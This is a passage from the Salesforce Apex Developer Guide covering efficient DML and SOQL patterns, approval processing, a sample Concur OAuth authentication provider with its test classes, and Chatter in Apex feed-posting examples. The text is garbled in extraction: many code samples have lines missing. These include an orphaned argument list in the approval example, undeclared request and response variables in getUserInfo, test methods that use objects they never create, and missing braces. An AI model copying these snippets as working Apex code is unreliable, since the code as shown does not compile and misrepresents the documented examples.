This enhanced version of the DML call performs the update on an entire list that contains the updated line items. It starts by creating a
new list and then, inside the loop, adds every update line item to the new list. It then performs a bulk update on the new list.
List<Line_Item__c> updatedList = new List<Line_Item__c>();
if (li.Units_Sold__c > 10) {
li.Description__c = 'New description';
updatedList.add(li);
}
}
// Once DML call for the entire list of line items

update updatedList;
More Efficient SOQL Queries

Placing SOQL queries inside for loop blocks isn’t a good practice because the SOQL query executes once for each iteration and may
surpass the 100 SOQL queries limit per transaction. The following is an example that runs a SOQL query for every item in Trigger.new,
which isn’t efficient. An alternative example is given with a modified query that retrieves child items using only one SOQL query.
Example: Inefficient querying of child items
The for loop in this example iterates over all invoice statements that are in Trigger.new. The SOQL query performed inside the
loop retrieves the child line items of each invoice statement. If more than 100 invoice statements were inserted or updated, and thus
contained in Trigger.new, this results in a run-time exception because of reaching the SOQL limit. The second example solves this
problem by creating another SOQL query that can be called only once.
trigger LimitExample on Invoice_Statement__c (before insert, before update) {
for(Invoice_Statement__c inv : Trigger.new) {
// This SOQL query executes once for each item in Trigger.new.
// It gets the line items for each invoice statement.
List<Line_Item__c> liList = [SELECT Id,Units_Sold__c,Merchandise__c
FROM Line_Item__c
WHERE Invoice_Statement__c = :inv.Id];
// Do something
}
}
}
Recommended Alternative: Querying of child items with one SOQL query
283
Apex Developer Guide Using Salesforce Features with Apex
This example bypasses the problem of having the SOQL query called for each item. It has a modified SOQL query that retrieves all invoice
statements that are part of Trigger.new and also gets their line items through the nested query. In this way, only one SOQL query
is performed and we’re still within our limits.
trigger EnhancedLimitExample on Invoice_Statement__c (before insert, before update) {
// Perform SOQL query outside of the for loop.
// This SOQL query runs once for all items in Trigger.new.
List<Invoice_Statement__c> invoicesWithLineItems =
[SELECT Id,Description__c,(SELECT Id,Units_Sold__c,Merchandise__c from Line_Items__r)
FROM Invoice_Statement__c WHERE Id IN :Trigger.newMap.KeySet()];
for(Invoice_Statement__c inv : invoicesWithLineItems) {

for(Line_Item__c li : inv.Line_Items__r) {
// Do something
}
}
}
SOQL For Loops

Use SOQL for loops to operate on records in batches of 200. This helps avoid the heap size limit of 6 MB. Note that this limit is for code
running synchronously and it is higher for asynchronous code execution.
Example: Query without a for loop
The following is an example of a SOQL query that retrieves all merchandise items and stores them in a List variable. If the returned
merchandise items are large in size and a large number of them was returned, the heap size limit might be hit.
List<Merchandise__c> ml = [SELECT Id,Name FROM Merchandise__c];
Recommended Alternative: Query within a for loop

To prevent this from happening, this second version uses a SOQL for loop, which iterates over the returned results in batches of 200
records. This reduces the size of the ml list variable which now holds 200 items instead of all items in the query results, and gets recreated
for every batch.
for (List<Merchandise__c> ml : [SELECT Id,Name FROM Merchandise__c]){
// Do something.
}
Using Salesforce Features with Apex

Many features of the Salesforce user interface are exposed in Apex so that you can access them programatically in the Force.com platform.
For example, you can write Apex code to post to a Chatter feed, or use the approval methods to submit and approve process requests.
IN THIS SECTION:
Actions
Create actions and add them to the Chatter publisher on the home page, on the Chatter tab, in Chatter groups, and on record detail
pages. Choose from standard actions, such as create and update actions, or create actions based on your company’s needs.
Approval Processing
An approval process automates how records are approved in Salesforce. An approval process specifies each step of approval, including
from whom to request approval and what to do at each point of the process.
284
Authentication
Salesforce provides various ways to authenticate users. Build a combination of authentication methods to fit the needs of your org
and your users’ use patterns.
Chatter Answers and Ideas
In Chatter Answers and Ideas, use zones to organize ideas and answers into groups. Each zone can have its own focus, with unique
ideas and answers topics to match that focus.
Chatter in Apex
Use Chatter in Apex to develop custom experiences in Salesforce. Create Apex pages that display feeds, post feed items with mentions
and topics, and update user and group photos. Create triggers that update Chatter feeds.
Moderate Chatter Private Messages with Triggers
Write a trigger for ChatterMessage to automate the moderation of private messages in an organization or community. Use triggers
to ensure that messages conform to your company’s messaging policies and don’t contain blacklisted words.
Moderate Feed Items with Triggers
Write a trigger for FeedItem to automate the moderation of posts in an organization or community. Use triggers to ensure that posts
conform to your company’s communication policies and don’t contain unwanted words or phrases.
Communities
Communities are branded spaces for your employees, customers, and partners to connect. You can customize and create communities
to meet your business needs, then transition seamlessly between them.
Email
You can use Apex to work with inbound and outbound email.
Metadata
Salesforce uses metadata types and components to represent org configuration and customization. Metadata is used for org settings
that admins control, or configuration information applied by installed apps and packages.
Platform Cache
The Force.com Platform Cache layer provides faster performance and better reliability when caching Salesforce session and org data.
Specify what to cache and for how long without using custom objects and settings or overloading a Visualforce view state. Platform
Cache improves performance by distributing cache space so that some applications or operations don’t steal capacity from others.
Salesforce Knowledge
Salesforce Knowledge is a knowledge base where users can easily create and manage content, known as articles, and quickly find
and view the articles they need.
Salesforce Files
Use Apex to customize the behavior of Salesforce Files.
Salesforce Connect
Apex code can access external object data via any Salesforce Connect adapter. Use the Apex Connector Framework to develop a
custom adapter for Salesforce Connect. The custom adapter can retrieve data from external systems and synthesize data locally.
Salesforce Connect represents that data in Salesforce external objects, enabling users and the Force.com platform to seamlessly
interact with data that’s stored outside the Salesforce org.
Salesforce Reports and Dashboards API via Apex
The Salesforce Reports and Dashboards API via Apex gives you programmatic access to your report data as defined in the report
builder.
Force.com Sites
Force.com Sites lets you build custom pages and Web applications by inheriting Force.com capabilities including analytics, workflow
and approvals, and programmable logic.
285
Support Classes
Support classes allow you to interact with records commonly used by support centers, such as business hours and cases.
Territory Management 2.0
With trigger support for the Territory2 and UserTerritory2Association standard objects, you can automate actions and processes
related to changes in these territory management records.
Visual Workflow
Visual Workflow allows administrators to build applications, known as flows, that guide users through screens for collecting and
updating data.
Actions
Create actions and add them to the Chatter publisher on the home page, on the Chatter tab, in Chatter groups, and on record detail
pages. Choose from standard actions, such as create and update actions, or create actions based on your company’s needs.
• Create actions let users create records. They’re different from the Quick Create and Create New features on the Salesforce home page,
because create actions respect validation rules and field requiredness, and you can choose each action’s fields.
• Custom actions are actions that you create and customize yourself, such as Create a Record, Send Email, or Log a Call actions. They
can also invoke Lightning components, flows, Visualforce pages, or canvas apps with functionality that you define. For example, you
can create a custom action so that users can write comments that are longer than 5,000 characters, or create one that integrates a
video-conferencing application so that support agents can communicate visually with customers.
For create, log-a-call, and custom actions, you can create either object-specific actions or global actions. Update actions must be
object-specific.
For more information on actions, see the online help.
SEE ALSO:
QuickAction Class
QuickActionRequest Class
QuickActionResult Class
DescribeQuickActionResult Class
DescribeQuickActionDefaultValue Class
DescribeLayoutSection Class
DescribeLayoutRow Class
DescribeLayoutItem Class
DescribeLayoutComponent Class
DescribeAvailableQuickActionResult Class
Approval Processing
An approval process automates how records are approved in Salesforce. An approval process specifies each step of approval, including
from whom to request approval and what to do at each point of the process.
• Use the Apex process classes to create approval requests and process the results of those requests:
– ProcessRequest Class
– ProcessResult Class
– ProcessSubmitRequest Class
286
– ProcessWorkitemRequest Class
• Use the Approval.process method to submit an approval request and approve or reject existing approval requests. For more
information, see Approval Class.
Note: The process method counts against the DML limits for your organization. See Execution Governors and Limits.
For more information about approval processes, see “Set Up an Approval Process” in the Salesforce online help.
IN THIS SECTION:
Apex Approval Processing Example
Apex Approval Processing Example

The following sample code initially submits a record for approval, then approves the request. This example requires an approval process
to be set up for accounts.
public class TestApproval {
void submitAndProcessApprovalRequest() {
// Insert an account
Account a = new Account(Name='Test',annualRevenue=100.0);
insert a;
User user1 = [SELECT Id FROM User WHERE Alias='SomeStandardUser'];
// Create an approval request for the account

Approval.ProcessSubmitRequest req1 =
new Approval.ProcessSubmitRequest();
req1.setComments('Submitting request for approval.');
req1.setObjectId(a.id);
// Submit on behalf of a specific submitter

req1.setSubmitterId(user1.Id);
// Submit the record to specific process and skip the criteria evaluation
req1.setProcessDefinitionNameOrId('PTO_Request_Process');
req1.setSkipEntryCriteria(true);
// Submit the approval request for the account

Approval.ProcessResult result = Approval.process(req1);
// Verify the result

System.assertEquals(
'Pending', result.getInstanceStatus(),
'Instance Status'+result.getInstanceStatus());
// Approve the submitted request

// First, get the ID of the newly created item
List<Id> newWorkItemIds = result.getNewWorkitemIds();
// Instantiate the new ProcessWorkitemRequest object and populate it

Approval.ProcessWorkitemRequest req2 =
287
new Approval.ProcessWorkitemRequest();
req2.setComments('Approving request.');
req2.setAction('Approve');
req2.setNextApproverIds(new Id[] {UserInfo.getUserId()});
// Use the ID from the newly created item to specify the item to be worked
req2.setWorkitemId(newWorkItemIds.get(0));
// Submit the request for approval

Approval.ProcessResult result2 = Approval.process(req2);
// Verify the results

System.assert(result2.isSuccess(), 'Result Status:'+result2.isSuccess());
'Approved', result2.getInstanceStatus(),
'Instance Status'+result2.getInstanceStatus());
}
}
Authentication
Salesforce provides various ways to authenticate users. Build a combination of authentication methods to fit the needs of your org and
your users’ use patterns.
IN THIS SECTION:
Create a Custom Authentication Provider Plug-in
You can use Apex to create a custom OAuth-based authentication provider plug-in for single sign-on (SSO) to Salesforce.
Create a Custom Authentication Provider Plug-in

You can use Apex to create a custom OAuth-based authentication provider plug-in for single sign-on (SSO) to Salesforce.
Single sign-on (SSO) lets users access authorized network resources with one login. You validate usernames and passwords against your
corporate user database or other client app rather than Salesforce managing separate passwords for each resource. Out of the box,
Salesforce supports several external authentication providers for single sign-on, including Facebook, Google, LinkedIn, and service
providers that implement the OpenID Connect protocol. By creating a plug-in with Apex, you can add your own OAuth-based
authentication provider. Your users can then use the SSO credentials they already use for non-Salesforce applications with your Salesforce
orgs.
Before you create your Apex class, you create a custom metadata type record for your authentication provider. For details, see Create a
Custom External Authentication Provider.
Sample Classes
This example extends the abstract class Auth.AuthProviderPluginClass to configure an external authentication provider
called Concur. Build the sample classes and sample test classes in the following order.
1. Concur
2. ConcurTestStaticVar
3. MockHttpResponseGenerator
288
4. ConcurTestClass
global class Concur extends Auth.AuthProviderPluginClass {
public String redirectUrl; // use this URL for the endpoint that the
authentication provider calls back to for configuration
private String key;
private String secret;
private String authUrl; // application redirection to the Concur website
for authentication and authorization
private String accessTokenUrl; // uri to get the new access token from
concur using the GET verb
private String customMetadataTypeApiName; // api name for the custom metadata
type created for this auth provider
private String userAPIUrl; // api url to access the user in concur
private String userAPIVersionUrl; // version of the user api url to access
data from concur
global String getCustomMetadataType() {

return customMetadataTypeApiName;
}
global PageReference initiate(Map<string,string> authProviderConfiguration,

String stateToPropagate) {
authUrl = authProviderConfiguration.get('Auth_Url__c');
key = authProviderConfiguration.get('Key__c');
//Here the developer can build up a request of some sort
//Ultimately they’ll return a URL where we will redirect the user
String url = authUrl + '?client_id='+ key
+'&scope=USER,EXPRPT,LIST&redirect_uri='+ redirectUrl + '&state=' + stateToPropagate;
return new PageReference(url);
}
global Auth.AuthProviderTokenResponse handleCallback(Map<string,string>

authProviderConfiguration, Auth.AuthProviderCallbackState state ) {
//Here, the developer will get the callback with actual protocol.
//Their responsibility is to return a new object called AuthProviderToken
//This will contain an optional accessToken and refreshToken

secret = authProviderConfiguration.get('Secret__c');
accessTokenUrl = authProviderConfiguration.get('Access_Token_Url__c');
Map<String,String> queryParams = state.queryParameters;

String code = queryParams.get('code');
String sfdcState = queryParams.get('state');
HttpRequest req = new HttpRequest();

String url = accessTokenUrl+'?code=' + code + '&client_id=' + key +
'&client_secret=' + secret;
req.setEndpoint(url);
req.setHeader('Content-Type','application/xml');
req.setMethod('GET');
289
Http http = new Http();

HTTPResponse res = http.send(req);
String responseBody = res.getBody();
String token = getTokenValueFromResponse(responseBody, 'Token', null);
return new Auth.AuthProviderTokenResponse('Concur', token, 'refreshToken',

sfdcState);
}
global Auth.UserData getUserInfo(Map<string,string>

authProviderConfiguration, Auth.AuthProviderTokenResponse response) {
//Here the developer is responsible for constructing an Auth.UserData
object
String token = response.oauthToken;
userAPIUrl = authProviderConfiguration.get('API_User_Url__c');
userAPIVersionUrl =
authProviderConfiguration.get('API_User_Version_Url__c');
req.setHeader('Authorization', 'OAuth ' + token);
req.setEndpoint(userAPIUrl);

String id = getTokenValueFromResponse(responseBody,
'LoginId',userAPIVersionUrl);
String fname = getTokenValueFromResponse(responseBody, 'FirstName',
userAPIVersionUrl);
String lname = getTokenValueFromResponse(responseBody, 'LastName',
userAPIVersionUrl);
String flname = fname + ' ' + lname;
String uname = getTokenValueFromResponse(responseBody, 'EmailAddress',
userAPIVersionUrl);
String locale = getTokenValueFromResponse(responseBody, 'LocaleName',
userAPIVersionUrl);
Map<String,String> provMap = new Map<String,String>();
provMap.put('what1', 'noidea1');
return new Auth.UserData(id, fname, lname, flname, uname,
'what', locale, null, 'Concur', null, provMap);
}
private String getTokenValueFromResponse(String response, String token,

String ns) {
Dom.Document docx = new Dom.Document();
docx.load(response);
String ret = null;
dom.XmlNode xroot = docx.getrootelement() ;
290
if(xroot != null){
ret = xroot.getChildElement(token, ns).getText();
}
return ret;
}
Sample Test Classes

The following example contains test classes for the Concur class.
@IsTest
public class ConcurTestClass {
private static final String OAUTH_TOKEN = 'testToken';

private static final String STATE = 'mocktestState';
private static final String REFRESH_TOKEN = 'refreshToken';
private static final String LOGIN_ID = 'testLoginId';
private static final String USERNAME = 'testUsername';
private static final String FIRST_NAME = 'testFirstName';
private static final String LAST_NAME = 'testLastName';
private static final String EMAIL_ADDRESS = 'testEmailAddress';
private static final String LOCALE_NAME = 'testLocalName';
private static final String FULL_NAME = FIRST_NAME + ' ' + LAST_NAME;
private static final String PROVIDER = 'Concur';
private static final String REDIRECT_URL =
'http://localhost/services/authcallback/orgId/Concur';
private static final String KEY = 'testKey';
private static final String SECRET = 'testSecret';
private static final String STATE_TO_PROPOGATE = 'testState';
private static final String ACCESS_TOKEN_URL = 'http://www.dummyhost.com/accessTokenUri';
private static final String API_USER_VERSION_URL = 'http://www.dummyhost.com/user/20/1';
private static final String AUTH_URL = 'http://www.dummy.com/authurl';

private static final String API_USER_URL = 'www.concursolutions.com/user/api';
// in the real world scenario , the key and value would be read from the (custom fields
in) custom metadata type record
private static Map<String,String> setupAuthProviderConfig () {
Map<String,String> authProviderConfiguration = new Map<String,String>();
authProviderConfiguration.put('Key__c', KEY);
authProviderConfiguration.put('Auth_Url__c', AUTH_URL);
authProviderConfiguration.put('Secret__c', SECRET);
authProviderConfiguration.put('Access_Token_Url__c', ACCESS_TOKEN_URL);
authProviderConfiguration.put('API_User_Url__c',API_USER_URL);
authProviderConfiguration.put('API_User_Version_Url__c',API_USER_VERSION_URL);
authProviderConfiguration.put('Redirect_Url__c',REDIRECT_URL);
return authProviderConfiguration;
291
static testMethod void testInitiateMethod() {

String stateToPropogate = 'mocktestState';
Map<String,String> authProviderConfiguration = setupAuthProviderConfig();
Concur concurCls = new Concur();
concurCls.redirectUrl = authProviderConfiguration.get('Redirect_Url__c');
PageReference expectedUrl = new

PageReference(authProviderConfiguration.get('Auth_Url__c') + '?client_id='+
authProviderConfiguration.get('Key__c')
+'&scope=USER,EXPRPT,LIST&redirect_uri='+
authProviderConfiguration.get('Redirect_Url__c') + '&state=' +
STATE_TO_PROPOGATE);
PageReference actualUrl = concurCls.initiate(authProviderConfiguration,
System.assertEquals(expectedUrl.getUrl(), actualUrl.getUrl());
}
static testMethod void testHandleCallback() {

concurCls.redirectUrl = authProviderConfiguration.get('Redirect_Url_c');
Test.setMock(HttpCalloutMock.class, new ConcurMockHttpResponseGenerator());
Map<String,String> queryParams = new Map<String,String>();

queryParams.put('code','code');
queryParams.put('state',authProviderConfiguration.get('State_c'));
Auth.AuthProviderCallbackState cbState = new
Auth.AuthProviderCallbackState(null,null,queryParams);
Auth.AuthProviderTokenResponse actualAuthProvResponse =
concurCls.handleCallback(authProviderConfiguration, cbState);
Auth.AuthProviderTokenResponse expectedAuthProvResponse = new
Auth.AuthProviderTokenResponse('Concur', OAUTH_TOKEN, REFRESH_TOKEN, null);
System.assertEquals(expectedAuthProvResponse.provider,
actualAuthProvResponse.provider);
System.assertEquals(expectedAuthProvResponse.oauthToken,
actualAuthProvResponse.oauthToken);
System.assertEquals(expectedAuthProvResponse.oauthSecretOrRefreshToken,
actualAuthProvResponse.oauthSecretOrRefreshToken);
System.assertEquals(expectedAuthProvResponse.state, actualAuthProvResponse.state);
static testMethod void testGetUserInfo() {

Test.setMock(HttpCalloutMock.class, new ConcurMockHttpResponseGenerator());
292
Auth.AuthProviderTokenResponse response = new

Auth.AuthProviderTokenResponse(PROVIDER, OAUTH_TOKEN ,'sampleOauthSecret', STATE);
Auth.UserData actualUserData = concurCls.getUserInfo(authProviderConfiguration,
response) ;

provMap.put('key1', 'value1');
Auth.UserData expectedUserData = new Auth.UserData(LOGIN_ID, FIRST_NAME,

LAST_NAME, FULL_NAME, EMAIL_ADDRESS,
null, LOCALE_NAME, null, PROVIDER, null, provMap);
System.assertNotEquals(expectedUserData,null);
System.assertEquals(expectedUserData.firstName, actualUserData.firstName);
System.assertEquals(expectedUserData.lastName, actualUserData.lastName);
System.assertEquals(expectedUserData.fullName, actualUserData.fullName);
System.assertEquals(expectedUserData.email, actualUserData.email);
System.assertEquals(expectedUserData.username, actualUserData.username);
System.assertEquals(expectedUserData.locale, actualUserData.locale);
System.assertEquals(expectedUserData.provider, actualUserData.provider);
System.assertEquals(expectedUserData.siteLoginUrl, actualUserData.siteLoginUrl);
// implementing a mock http response generator for concur

public class ConcurMockHttpResponseGenerator implements HttpCalloutMock {
public HTTPResponse respond(HTTPRequest req) {
String namespace = API_USER_VERSION_URL;
String prefix = 'mockPrefix';
Dom.Document doc = new Dom.Document();

Dom.XmlNode xmlNode = doc.createRootElement('mockRootNodeName', namespace, prefix);
xmlNode.addChildElement('LoginId', namespace, prefix).addTextNode(LOGIN_ID);

xmlNode.addChildElement('FirstName', namespace, prefix).addTextNode(FIRST_NAME);
xmlNode.addChildElement('LastName', namespace, prefix).addTextNode(LAST_NAME);
xmlNode.addChildElement('EmailAddress', namespace,
prefix).addTextNode(EMAIL_ADDRESS);
xmlNode.addChildElement('LocaleName', namespace, prefix).addTextNode(LOCALE_NAME);
xmlNode.addChildElement('Token', null, null).addTextNode(OAUTH_TOKEN);

System.debug(doc.toXmlString());
// Create a fake response
HttpResponse res = new HttpResponse();
res.setHeader('Content-Type', 'application/xml');
res.setBody(doc.toXmlString());
res.setStatusCode(200);
return res;
}
293
}
}
SEE ALSO:
AuthProviderPlugin Interface
Salesforce Help: Create a Custom External Authentication Provider
Chatter Answers and Ideas

In Chatter Answers and Ideas, use zones to organize ideas and answers into groups. Each zone can have its own focus, with unique ideas
and answers topics to match that focus.
Note: Before Summer ‘13, Chatter Answers and Ideas used the term “communities.” In the Summer ‘13 release, these communities
were renamed “zones” to prevent confusion with Salesforce Communities.
To work with zones in Apex, use the Answers, Ideas, and ConnectApi.Zones.
SEE ALSO:
Answers Class
Ideas Class
Zones Class
Chatter in Apex
Use Chatter in Apex to develop custom experiences in Salesforce. Create Apex pages that display feeds, post feed items with mentions
and topics, and update user and group photos. Create triggers that update Chatter feeds.
Many Chatter REST API resource actions are exposed as static methods on Apex classes in the ConnectApi namespace. These methods
use other ConnectApi classes to input and return information. The ConnectApi namespace is referred to as Chatter in Apex.
In Apex, it’s possible to access some Chatter data using SOQL queries and objects. However, ConnectApi classes expose Chatter
data in a much simpler way. Data is localized and structured for display. For example, instead of making many calls to access and assemble
a feed, you can do it with a single call.
Chatter in Apex methods execute in the context of the context user, who is also referred to as the context user. The code has access to
whatever the context user has access to. It doesn’t run in system mode like other Apex code.
For Chatter in Apex reference information, see ConnectApi Namespace on page 828.
IN THIS SECTION:
Chatter in Apex Examples
Use these examples to perform common tasks with Chatter in Apex.
Chatter in Apex Features
This topic describes which classes and methods to use to work with common Chatter in Apex features.
Using ConnectApi Input and Output Classes
Some classes in the ConnectApi namespace contain static methods that access Chatter REST API data. The ConnectApi
namespace also contains input classes to pass as parameters and output classes that calls to the static methods return.
294
Understanding Limits for ConnectApi Classes

Limits for methods in the ConnectApi namespace are different than the limits for other Apex classes.
Serializing and Deserializing ConnectApi Objects
When ConnectApi output objects are serialized into JSON, the structure is similar to the JSON returned from Chatter REST API.
When ConnectApi input objects are deserialized from JSON, the format is also similar to Chatter REST API.
ConnectApi Versioning and Equality Checking
Versioning in ConnectApi classes follows specific rules that are different than the rules for other Apex classes.
Casting ConnectApi Objects
It may be useful to downcast some ConnectApi output objects to a more specific type.
Wildcards
Use wildcard characters to match text patterns in Chatter REST API and Chatter in Apex searches.
Testing ConnectApi Code
Like all Apex code, Chatter in Apex code requires test coverage.
Differences Between ConnectApi Classes and Other Apex Classes
Note these additional differences between ConnectApi classes and other Apex classes.
Chatter in Apex Examples

Use these examples to perform common tasks with Chatter in Apex.
IN THIS SECTION:
Get Feed Elements From a Feed
Get Feed Elements From Another User’s Feed
Get Community-Specific Feed Elements from a Feed
Post a Feed Element
Post a Feed Element with a Mention
Post a Feed Element with Existing Content
Post a Rich-Text Feed Element with Inline Image
Post a Rich-Text Feed Element with a Code Block
Post a Feed Element with a New File (Binary) Attachment
Post a Batch of Feed Elements
Post a Batch of Feed Elements with New (Binary) Files
Define an Action Link and Post with a Feed Element
Define an Action Link in a Template and Post with a Feed Element
Edit a Feed Element
Edit a Question Title and Post
Like a Feed Element
Bookmark a Feed Element
Share a Feed Element (prior to Version 39.0)
295
Share a Feed Element (in Version 39.0 and Later)

Post a Comment
Post a Comment with a Mention
Post a Comment with an Existing File
Post a Comment with a New File
Post a Rich-Text Comment with Inline Image
Post a Rich-Text Feed Comment with a Code Block
Edit a Comment
Follow a Record
Unfollow a Record
Get a Repository
Get Repositories
Get Allowed Item Types
Get Previews
Get a File Preview
Get Repository Folder Items
Get a Repository Folder
Get a Repository File Without Permissions Information
Get a Repository File with Permissions Information
Create a Repository File Without Content (Metadata Only)
Create a Repository File with Content
Update a Repository File Without Content (Metadata Only)
Update a Repository File with Content

This example calls getFeedElementsFromFeed(communityId, feedType, subjectId) to get the first page of
feed elements from the context user’s news feed.
ConnectApi.FeedElementPage fep =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(Network.getNetworkId(),
ConnectApi.FeedType.News, 'me');
The getFeedElementsFromFeed method is overloaded, which means that the method name has many different signatures. A
signature is the name of the method and its parameters in order.
Each signature lets you send different inputs. For example, one signature may specify the community ID, the feed type, and the subject
ID. Another signature could have those parameters and an additional parameter to specify the maximum number of comments to return
for each feed element.
296
Tip: Each signature operates on certain feed types. Use the signatures that operate on the ConnectApi.FeedType.Record
to get group feeds, since a group is a record type.
SEE ALSO:
ChatterFeeds Class

This example calls getFeedElementsFromFeed(communityId, feedType, subjectId) to get the first page of
feed elements from another user’s feed.
ConnectApi.FeedType.UserProfile, '005R0000000HwMA');
This example calls the same method to get the first page of feed elements from another user’s record feed.
ConnectApi.FeedType.Record, '005R0000000HwMA');
The getFeedElementsFromFeed method is overloaded, which means that the method name has many different signatures. A
signature is the name of the method and its parameters in order.
Each signature lets you send different inputs. For example, one signature can specify the community ID, the feed type, and the subject
ID. Another signature could have those parameters and an extra parameter to specify the maximum number of comments to return for
each feed element.
Get Community-Specific Feed Elements from a Feed

Display a user profile feed that contains only feed elements that are scoped to a specific community. Feed elements that have a User or
a Group parent record are scoped to communities. Feed elements whose parents are record types other than User or Group are always
visible in all communities. Other parent record types could be scoped to communities in the future.
This example calls getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, sortParam, filter) to get only community-specific feed elements.
ConnectApi.FeedType.UserProfile, 'me', 3, ConnectApi.FeedDensity.FewerUpdates, null, null,
ConnectApi.FeedSortOrder.LastModifiedDateDesc, ConnectApi.FeedFilter.CommunityScoped);
Post a Feed Element

This example calls postFeedElement(communityId, subjectId, feedElementType, text) to post a string of
text.
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), '0F9d0000000TreH',
ConnectApi.FeedElementType.FeedItem, 'On vacation this week.');
The second parameter, subjectId is the ID of the parent this feed element is posted to. The value can be the ID of a user, group, or
record, or the string me to indicate the context user.
297

You can post feed elements with mentions two ways. Use the ConnectApiHelper repository on GitHub to write a single line of code, or
use this example, which calls postFeedElement(communityId, feedElement).
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.MentionSegmentInput mentionSegmentInput = new ConnectApi.MentionSegmentInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
mentionSegmentInput.id = '005RR000000Dme9';
messageBodyInput.messageSegments.add(mentionSegmentInput);
textSegmentInput.text = 'Could you take a look?';

messageBodyInput.messageSegments.add(textSegmentInput);
feedItemInput.body = messageBodyInput;
feedItemInput.feedElementType = ConnectApi.FeedElementType.FeedItem;
feedItemInput.subjectId = '0F9RR0000004CPw';
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput, null);

This example calls postFeedElement(communityId, feedElement) to post a feed item with files that have already been
uploaded.
// Define the FeedItemInput object to pass to postFeedElement
feedItemInput.subjectId = 'me';

textSegmentInput.text = 'Would you please review these docs?';
// The MessageBodyInput object holds the text in the post

// The FeedElementCapabilitiesInput object holds the capabilities of the feed item.

// For this feed item, we define a files capability to hold the file(s).
List<String> fileIds = new List<String>();

fileIds.add('069xx00000000QO');
fileIds.add('069xx00000000QT');
fileIds.add('069xx00000000Qn');
fileIds.add('069xx00000000Qi');
fileIds.add('069xx00000000Qd');
ConnectApi.FilesCapabilityInput filesInput = new ConnectApi.FilesCapabilityInput();

filesInput.items = new List<ConnectApi.FileIdInput>();
298
for (String fileId : fileIds) {

ConnectApi.FileIdInput idInput = new ConnectApi.FileIdInput();
idInput.id = fileId;
filesInput.items.add(idInput);
}
ConnectApi.FeedElementCapabilitiesInput feedElementCapabilitiesInput = new

ConnectApi.FeedElementCapabilitiesInput();
feedElementCapabilitiesInput.files = filesInput;
feedItemInput.capabilities = feedElementCapabilitiesInput;
// Post the feed item.

ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput);

You can post rich-text feed elements with inline images and mentions two ways. Use the ConnectApiHelper repository on GitHub to
write a single line of code, or use this example, which calls postFeedElement(communityId, feedElement). In this
example, the image file is existing content that has already been uploaded to Salesforce. The post also includes text and a mention.
String communityId = null;
String imageId = '069D00000001INA';
String mentionedUserId = '005D0000001QNpr';
String targetUserOrGroupOrRecordId = '005D0000001Gif0';
ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
input.subjectId = targetUserOrGroupOrRecordId;
input.feedElementType = ConnectApi.FeedElementType.FeedItem;
ConnectApi.MessageBodyInput messageInput = new ConnectApi.MessageBodyInput();

ConnectApi.TextSegmentInput textSegment;
ConnectApi.MentionSegmentInput mentionSegment;
ConnectApi.MarkupBeginSegmentInput markupBeginSegment;
ConnectApi.MarkupEndSegmentInput markupEndSegment;
ConnectApi.InlineImageSegmentInput inlineImageSegment;
messageInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
markupBeginSegment = new ConnectApi.MarkupBeginSegmentInput();

markupBeginSegment.markupType = ConnectApi.MarkupType.Bold;
messageInput.messageSegments.add(markupBeginSegment);
textSegment = new ConnectApi.TextSegmentInput();

textSegment.text = 'Hello ';
messageInput.messageSegments.add(textSegment);
mentionSegment = new ConnectApi.MentionSegmentInput();

mentionSegment.id = mentionedUserId;
messageInput.messageSegments.add(mentionSegment);

textSegment.text = '!';
299
markupEndSegment = new ConnectApi.MarkupEndSegmentInput();

markupEndSegment.markupType = ConnectApi.MarkupType.Bold;
messageInput.messageSegments.add(markupEndSegment);
inlineImageSegment = new ConnectApi.InlineImageSegmentInput();

inlineImageSegment.altText = 'image one';
inlineImageSegment.fileId = imageId;
messageInput.messageSegments.add(inlineImageSegment);
input.body = messageInput;
ConnectApi.ChatterFeeds.postFeedElement(communityId, input, null);
SEE ALSO:
ConnectApi.MarkupBeginSegmentInput
ConnectApi.MarkupEndSegmentInput
ConnectApi.InlineImageSegmentInput
Post a Rich-Text Feed Element with a Code Block

This example calls postFeedElement(communityId, feedElement) to post a feed item with a code block.
String targetUserOrGroupOrRecordId = 'me';
String codeSnippet = '<html>\n\t<body>\n\t\tHello, world!\n\t</body>\n</html>';


markupBeginSegment.markupType = ConnectApi.MarkupType.Code;

textSegment.text = codeSnippet;

markupEndSegment.markupType = ConnectApi.MarkupType.Code;
300
ConnectApi.ChatterFeeds.postFeedElement(communityId, input);
SEE ALSO:

Important: In version 36.0 and later, you can’t post a feed element with a new file in the same call. Upload files to Salesforce first,
and then specify existing files when posting a feed element.
This example calls postFeedElement(communityId, feedElement, feedElementFileUpload) to post a feed
item with a new file (binary) attachment.
input.subjectId = 'me';
ConnectApi.ContentCapabilityInput contentInput = new ConnectApi.ContentCapabilityInput();

contentInput.title = 'Title';
ConnectApi.FeedElementCapabilitiesInput capabilities = new

capabilities.content = contentInput;
input.capabilities = capabilities;
String text = 'These are the contents of the new file.';

Blob myBlob = Blob.valueOf(text);
ConnectApi.BinaryInput binInput = new ConnectApi.BinaryInput(myBlob, 'text/plain',
'fileName');
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), input, binInput);

This trigger calls postFeedElementBatch(communityId, feedElements) to bulk post to the feeds of newly inserted
accounts.
trigger postFeedItemToAccount on Account (after insert) {
Account[] accounts = Trigger.new;
// Bulk post to the account feeds.
List<ConnectApi.BatchInput> batchInputs = new List<ConnectApi.BatchInput>();
for (Account a : accounts) {

input.subjectId = a.id;
ConnectApi.MessageBodyInput body = new ConnectApi.MessageBodyInput();
301
body.messageSegments = new List<ConnectApi.MessageSegmentInput>();
ConnectApi.TextSegmentInput textSegment = new ConnectApi.TextSegmentInput();

textSegment.text = 'Let\'s win the ' + a.name + ' account.';
body.messageSegments.add(textSegment);
input.body = body;
ConnectApi.BatchInput batchInput = new ConnectApi.BatchInput(input);

batchInputs.add(batchInput);
}
